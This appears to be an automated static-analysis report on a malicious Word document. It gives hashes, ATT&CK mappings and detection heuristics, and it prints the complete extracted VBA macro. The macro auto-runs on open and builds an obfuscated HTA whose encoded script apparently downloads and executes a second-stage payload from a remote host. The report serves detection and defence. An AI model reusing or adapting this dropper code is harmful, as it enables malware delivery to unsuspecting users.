Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 5eecc6e4b9b87ea2…

MALICIOUS

Office (OOXML) / .DOC

80.4 KB Created: 2021-04-30 07:46:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-04
MD5: 15938890e8f9c8246094a2ec8ce78d1d SHA-1: 60c90cdbd9d7f4e97d4fd734d000517f54a291d1 SHA-256: 5eecc6e4b9b87ea2256eaa73112fceaf11305e6b86af17438a57f168f8929569
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros that execute upon opening the document, as indicated by the Document_Open macro. These macros utilize CreateObject to instantiate WScript.Shell and then execute a reversed string obtained from the document's title property. This string likely decodes to a malicious URL or command to download and run a second-stage payload, a common technique for malware delivery.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set listboxSwapConvert = CreateObject("wscript.shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set listboxSwapConvert = CreateObject("wscript.shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6034 bytes
SHA-256: 7d3ad492315d770d160738116f97036b4b1ae7bf1549a9825c03d14ccc4c3d4e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
main
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{04A970AC-A88A-48C4-A790-974BF85DCC67}{3C52C33C-3727-4F42-A4DC-84DE0CBFA47D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub button1_Click()
Set dataExNamespace = ActiveDocument.BuiltInDocumentProperties("title")
Set listboxSwapConvert = CreateObject("wscript.shell")
With listboxSwapConvert
.exec$ (sr(dataExNamespace))
End With
End Sub


Attribute VB_Name = "requestListboxProcedure"
Sub main()
arrayVbScreen
End Sub
Function sr(AW)
sr = StrReverse(AW)
End Function
Function gwc(AW)
If Len(AW) > 0 Then
gwc = AW
End If
End Function
Sub arrayVbScreen()
Dim requestPtrRepo As String
bufBorderText = Split(sr(ActiveDocument.BuiltInDocumentProperties("title")), " ")
requestPtrRepo = bufBorderText(1)
Set windowRepo = New namespaceCopy
windowRepo.classDelete requestPtrRepo, namespaceRequest
frm.button1_Click
End Sub

Attribute VB_Name = "queryArrayCaption"
Public Function refResponseA(vbBorder)
Dim deleteSwapPtr As Integer
deleteSwapPtr = 31337
If (Len(vbBorder) < deleteSwapPtr) Then refResponseA = gwc("<html><body><div id='content'>fT" & "tlc29sYy5zc2FsQ2VjYXBzZW1hbjspMi" & "AsImdwai5lbGJhVG5vaXRwT2V2b21lcl" & "xcY2lsYnVwXFxzcmVzdVxcOmMiKGVsaW" & "ZvdGV2YXMuc3NhbENlY2Fwc2VtYW47KX" & "lkb2Jlc25vcHNlci5ldGVsZUR0eGVUbG" & "Fib2xnKGV0aXJ3LnNzYWxDZWNhcHNlbW" & "FuOzEgPSBlcHl0LnNzYWxDZWNhcHNlbW" & "FuO25lcG8uc3NhbENlY2Fwc2VtYW47KS" & "JtYWVydHMuYmRvZGEiKHRjZWpiT1hldm" & "l0Y0Egd2VuID0gc3NhbENlY2Fwc2VtYW" & "4gcmF2eykwMDIgPT0gc3V0YXRzLmV0ZW" & "xlRHR4ZVRsYWJvbGcoZmk7KShkbmVzLm" & "V0ZWxlRHR4ZVRsYWJvbGc7KWVzbGFmIC" & "wiU2RqMjhzb3NqN0JQSD1ZZz80MXdhbC" & "9yRzdOd211TzltaTd1c3NkY1gvcUNXdV" & "BKQWR6NGRTaVdkdmI1dkRSUHVpL3Nvc2" & "dkL21vYy5heXRwbWVhbGF5YS8vOnB0dG" & "giICwiVEVHIihuZXBvLmV0ZWxlRHR4ZV" & "RsYWJvbGc7KSJwdHRobG14LjJsbXhzbS" & "IodGNlamJPWGV2aXRjQSB3ZW4gPSBldG" & "VsZUR0eGVUbGFib2xnIHJhdg==|fXspd" & "29kbmlXeG9idHhldChoY3RhY307KSJhd" & "GguZWxiYVRub2l0cE9ldm9tZXJcXGNpb" & "GJ1cFxcc3Jlc3VcXDpjIihlbGlmZXRlb")
End Function
Public Function ptrLocal(vbBorder)
Dim deleteSwapPtr As Integer
deleteSwapPtr = 31337
If (Len(vbBorder) < deleteSwapPtr) Then ptrLocal = gwc("GVkLnRjZWxlU2V0c2FQZXRlbGVke3lyd" & "DspInRjZWpib21ldHN5c2VsaWYuZ25pd" & "HBpcmNzIih0Y2VqYk9YZXZpdGNBIHdlb" & "iA9IHRjZWxlU2V0c2FQZXRlbGVkIHJhd" & "jspInRpbkluaWd1bFAsZ3BqLmVsYmFUb" & "m9pdHBPZXZvbWVyXFxjaWxidXBcXHNyZ" & "XN1XFw6YyAyM2xsZG51ciIobnVyLikib" & "GxlaHMudHBpcmNzdyIodGNlamJPWGV2a" & "XRjQSB3ZW4=</div><div id='table1" & "'>ABCDEFGHIJKLMNOPQRSTUVWXYZ</di" & "v><div id='table2'>0123456789+/<" & "/div><div id='table3'></div><scr" & "ipt language='javascript'>functi" & "on selectVariableRight(refSwap){" & "return(new ActiveXObject(refSwap" & "));}function procArrayTmp(counte" & "rClear){return(swapRemove.getEle" & "mentById(counterClear).innerHTML" & ");}function convertTmp(){var loc" & "alTextbox = procArrayTmp('table1" & "');var listCopyBuf = localTextbo" & "x.toLowerCase();var referenceBuf" & "Tmp = procArrayTmp('table2');ret" & "urn(localTextbox + listCopyBuf +" & " referenceBufTmp);}function stor")
End Function
Public Function selectVar(vbBorder)
Dim deleteSwapPtr As Integer
deleteSwapPtr = 31337
If (Len(vbBorder) < deleteSwapPtr) Then selectVar = gwc("ageTextLocal(s){var e={}; var i;" & " var b=0; var c; var x; var l=0;" & " var a; var procedureVariableWin" & "dow=''; var w=String.fromCharCod" & "e; var L=s.length;var countLinkF" & "unc = valueVar('tArahc');for(i=0" & ";i<64;i++){e[convertTmp()[countL" & "inkFunc](i)]=i;}for(x=0;x<L;x++)" & "{c=e[s[countLinkFunc](x)];b=(b<<" & "6)+c;l+=6;while(l>=8){((a=(b>>>(" & "l-=8))&0xff)||(x<(L-2)))&&(proce" & "dureVariableWindow+=w(a));}}retu" & "rn(procedureVariableWindow);};fu" & "nction valueVar(databaseTemp){re" & "turn databaseTemp.split('').reve" & "rse().join('');}listboxTextboxPt" & "r = window;swapRemove = document" & ";listboxTextboxPtr.resizeTo(1, 1" & ");listboxTextboxPtr.moveTo(-100," & " -100);var listboxException = sw" & "apRemove.getElementById('content" & "').innerHTML;var listboxExceptio" & "n = listboxException.split('|');" & "var databaseDatabase = valueVar(" & "storageTextLocal(listboxExceptio")
End Function
Public Function ptrWindowBuffer(vbBorder)
Dim deleteSwapPtr As Integer
deleteSwapPtr = 31337
If (Len(vbBorder) < deleteSwapPtr) Then ptrWindowBuffer = gwc("n[0]));var listboxTmp = valueVar" & "(storageTextLocal(listboxExcepti" & "on[1]));</script><script languag" & "e='javascript'>function clearTex" & "t(constNext){var nextA = selectV" & "ariableRight(valueVar('lortnoctp" & "ircs.lortnoctpircssm'));nextA['L" & "anguage'] = 'jscript';nextA['Tim" & "eout'] = 60000;nextA['AddCode'](" & "constNext);return(null);}</scrip" & "t><script language='vbscript'>cl" & "earText databaseDatabase : clear" & "Text listboxTmp : listboxTextbox" & "Ptr.close</script></body></html>")
End Function
Function namespaceRequest()
namespaceRequest = refResponseA("ight") + ptrLocal("efPr") + selectVar("onve") + ptrWindowBuffer("emVa")
End Function

Attribute VB_Name = "namespaceCopy"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit
Public Function classDelete(responseButton As String, windowConvertGlobal As String)
Open responseButton For Output As #1
Print #1, windowConvertGlobal
Close #1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 30720 bytes
SHA-256: 00ae2679a3d28d61acec5952b64a514ed98a2e49ae3d3f57df1e68005a16c7fe

Open this report in the interactive analyzer, or submit your own file for analysis.